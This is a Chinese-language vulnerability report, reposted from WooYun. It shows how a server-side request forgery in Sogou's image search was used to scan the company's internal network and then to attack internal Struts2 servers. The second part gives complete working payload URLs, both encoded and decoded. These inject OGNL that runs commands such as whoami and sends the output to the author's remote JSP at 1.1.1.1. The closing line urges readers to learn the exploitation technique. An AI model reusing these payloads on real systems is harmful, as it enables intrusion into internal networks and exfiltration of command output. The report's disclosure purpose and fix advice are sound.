漏洞详情转自乌云。通过搜狗某搜索功能扫描搜狗内网与攻击内网struts2漏洞主机,实质上就是wooyun上经常见到的“内网漫游漏洞”,是因为程序没有对用户输入的地址进行过滤,当用户输入内网地址时就会造成内网信息的泄露。造成这种漏洞的详细原因可以参考““内网漫游”-web”。
一、通过搜狗某搜索功能扫描搜狗内网
详细说明:
搜狗搜索图片功能,会根据url去访问相应服务器上的图片:
但是这个功能没有对访问的url地址进行有效控制,如果提交类似下面这样的url,就可以让应用去访问搜狗内部web服务器,攻击者可以利用其扫描搜狗内部服务器情况。
http://192.168.1.1/images/1.gif
漏洞证明:
如果能访问到服务器,提交url:http://pic.sogou.com/ris?query=http%3A%2F%2Fwww.sogou.com%2F
如果服务器无法访问,则显示超时,提交url:http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.1.1
这样写一个程序遍历192.168.1.1-192.168.254.254整个ip段:
返回200的说明是可以成功访问到的:
测试一下:
访问http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.1.2%2Fimages%2Flogo_l.gif
会返回504
访问:http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.1.7%2Fimages%2Flogo_l.gif
会返回200
修复方案:
进行访问控制吧,防止内部资源被访问。
二、通过搜狗某搜索功能扫描搜狗内网(续)之攻击内网struts2漏洞主机
详细说明:
几天发布了搜狗的这个漏洞: WooYun: 通过搜狗某搜索功能扫描搜狗内网
通过搜索图片功能可以访问到内网服务器,这次利用这个漏洞作为跳板攻击到了搜狗内部存在struts2漏洞的服务器。
漏洞证明:
在上次提到的漏洞中( WooYun: 通过搜狗某搜索功能扫描搜狗内网 ),使用图片搜索功能成功判断到了搜狗内部服务器的开放情况,搜集到了大量的服务器ip:
本来觉得除了扫描开放的服务器之外这个应该没有什么其他的利用价值了,不过仔细思考了一番,既然可以通过这个功能访问内网web服务器,那么如果发送一个 代用攻击指令的url到了特定的内网服务器上,这个服务器恰好有漏洞,那么是不是就可以用这个搜索功能作为跳板攻击到搜狗内网了呢?
那么什么url具有攻击性呢?这里只能提交url,也就是说只能是get请求,于是我想到了前段时间闹得很凶的struts2命令执行漏洞,于是构造下面这样的url:
http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.x.x%3A80%2Findex.action%3Fredirect%3A%24%7Bnew%2520java.net.URL%28%27http%3A%2F%2F1.1.1.1%3A80%2Fo.jsp%3F192.168.x.x%27%29.openConnection%28%29.getInputStream%28%29%7D
ps:对地址解码后为:
http://192.168.x.x:80/index.action?redirect:${new%20java.net.URL('http://1.1.1.1:80/o.jsp?192.168.x.x').openConnection().getInputStream()}
解释一下,因为服务器在内网,而且又是通过这个搜索功能作为跳板,那么我就无法直接看到命令是否执行所以,通过java构造一个http请求,让他把信息get到我远程的jsp文件上去(http://1.1.1.1/o.jsp),返回的信息就是内网服务器的ip地址。
还是用程序跑:
尝试了login.action、index.action,跑了半天没结果,后来想了一下,struts2官网提供过几个示例程序,很多开发人员都把他 们部署在服务器上做参考,其中最简单的一个叫struts-blank,就是一个struts2框架的helloworld,于是构造类似这样的url, 再跑一次:
http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.x.x%3A8080%2Fstruts2-blank%2Findex.action%3Fredirect%3A%24%7Bnew%2520java.net.URL%28%27http%3A%2F%2F1.1.1.1%3A80%2Fo.jsp%3F192.168.x.x%27%29.openConnection%28%29.getInputStream%28%29%7D
ps:poc解码后为:
http://pic.sogou.com/ris?query=http://192.168.x.x:8080/struts2-blank/index.action?redirect:${new java.net.URL('http://1.1.1.1:80/o.jsp?192.168.x.x').openConnection().getInputStream()}
这次太幸运了,远程的o.jsp成功获得了一个ip地址:
接下来的事情就是针对这个ip构造执行命令的poc了,url如下:
http://pic.sogou.com/ris?query=http%3A%2F%2F192.168.x.x%3A8080%2Fstruts2-blank%2Findex.action%3Fredirect%3A%24%7Bnew%2520java.net.URL%28%27http%3A%2F%2F1.1.1.1%3A80%2Fo.jsp%3F%27%252Bnew+java.io.BufferedReader%28new+java.io.InputStreamReader%28new+java.lang.ProcessBuilder%28%7B%27whoami%27%7D%29.start%28%29.getInputStream%28%29%29%29.readLine%28%29%29.openConnection%28%29.getInputStream%28%29%7D
ps:对poc解码后为:
http://192.168.x.x:8080/struts2-blank/index.action?redirect:${new%20java.net.URL('http://1.1.1.1:80/o.jsp?'%2Bnew java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder({'whoami'}).start().getInputStream())).readLine()).openConnection().getInputStream()}
就是通过struts2漏洞执行whoami命令,结果o.jsp上收到了命令执行结果:
执行pwd:
如果再变换一些action名称的话,估计还能找到一些存在漏洞的服务器,这里就不搞了,申请奖品啊。
修复方案:
赶紧把图片搜索功能做好访问控制吧,并且内网服务器里面的struts2漏洞也不是说外部利用不到,赶紧升级吧。
ps:除了学习作者的思路外,还要学习作者是如何利用struct2漏洞的,即了解如何利用structs2漏洞。